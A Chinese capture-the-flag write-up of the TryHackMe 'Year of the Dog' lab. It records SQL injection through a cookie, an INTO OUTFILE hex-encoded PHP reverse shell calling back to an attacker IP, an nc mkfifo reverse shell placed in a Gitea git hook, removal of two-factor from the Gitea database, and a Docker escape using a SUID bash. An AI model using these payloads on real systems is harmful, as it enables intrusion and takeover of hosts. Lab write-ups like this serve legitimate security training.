打靶记录(二三)之THMYearofDog
端口扫描
Web
获取了一些目录,但是里面也没什么有用的东西。找不到什么其他的了,那就抓个包看一下
发现有个cookie,照常理来说没有账号身份验证什么的为什么会有cookie呢。
一开始的想法是能不能伪造cookie,但是没有其他任何信息,伪造不了,任意更改cookie后会提示错误的序号,也许存在一个数据库查询,输入一个’后报错。
ordery by 发现只有两列
有回显了,数据库名称叫webapp
表名就叫queue
有两个列,一个ID一个序号
成功得到所有用户的ID和序号,也许我们就能伪造成其他用户了
嘶,但事实上证明拿到这些并没有什么用…
就算伪造也只有几号的界面罢了。。。
不会了,WP!!
Getshell
WP的方法是用SQL注入来写马到Web目录然后反弹shell
' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3C3F706870206578656328222F62696E2F62617368202D63202762617368202D69203E202F6465762F7463702F31302E31342E35322E31352F3132333420303E26312722293B203F3E-- - |
通过16进制来写一个一句话PHP的反向shell到这个文件中
发现文件存在了!
开启监听,我们试着在浏览器中访问
成功
python3 -c "import pty;pty.spawn('/bin/bash')" |
升级一下shell
我们发现就一个用户有bash环境,大概率要拿到他的shell
我们发现他家目录下有一个工作分析,我们还是有权限访问的,貌似是他尝试ssh登录root的日志吧
翻着翻着发现了一处奇怪的登录,貌似登录自己的账号了,我们可以合理怀疑后面那串就是他自己的密码Labr4d0rs4L1f3
直接ssh登录
user.txt
THM{OTE3MTQyNTM5NzRiN2VjNTQyYWM2M2Ji}
横向移动
找了一圈没有什么可以直接提权的二进制文件
发现了在这台机器的本地还开着一些其他端口,发现一个比较可疑的3000端口,为了我们能够访问,使用反向ssh隧道
ssh -L 3000:localhost:3000 dylan@10.10.35.186 |
kali中访问http://localhost:3000/
发现是一个Git service,试着用dylan的账号登录,发现有个TWO-Factor Authentication,然后就卡住了。WP的方法是删除数据库中的密码
cd至这个目录,用python现写一个脚本,用于删除这个目录下gitea.db中的two_factor
然后发现我们不用双重密码了
在这个仓库中的设置
可以你在githook中执行命令,githook就是在在执行了类似push,commit之类的git命令后自动执行的脚本
写上我们的反弹shell,updata,开启监听
随便更改一下readme.md的内容然后提交更改
发现报错了,也许是脚本出了问题,改用nc
mkfifo /tmp/f1;nc 10.14.52.15 1234 < /tmp/f1 | /bin/bash > /tmp/f1 |
在尝试,发现成功连接
提权(docker逃逸)
发现我们是git用户拥有所有权限,而且在docker中
发现根目录下的data目录和在dyaln那台机器上的/gitea目录一模一样,也许是同一个目录而且是连通的。创建的文件也是root所属
我们可以复制一个bash的二进制文件进去然后添加SUID,就可以给dylan用户使用了
cp /bin/bash /data/gitea/bash |
结果发现docker中的bash文件好像用不了
只能从宿主机中先拷贝一个过去
dylan用户中
cp /bin/bash ./bash
在反向shell中
chown root:root bash |
在dylan中,
./bash -p
成功提权
root.txt
THM{MzlhNGY5YWM0ZTU5ZGQ0OGI0YTc0OWRh}
碎碎念
前面拿用户的shell还算简单吧,第一次接触SQL注入来写shell,还行,还得多加练习。然后后面的步骤还是挺难的,对于git的考验,还不太熟练导致完全不会。接着就是docker逃逸,但是考的还算简单?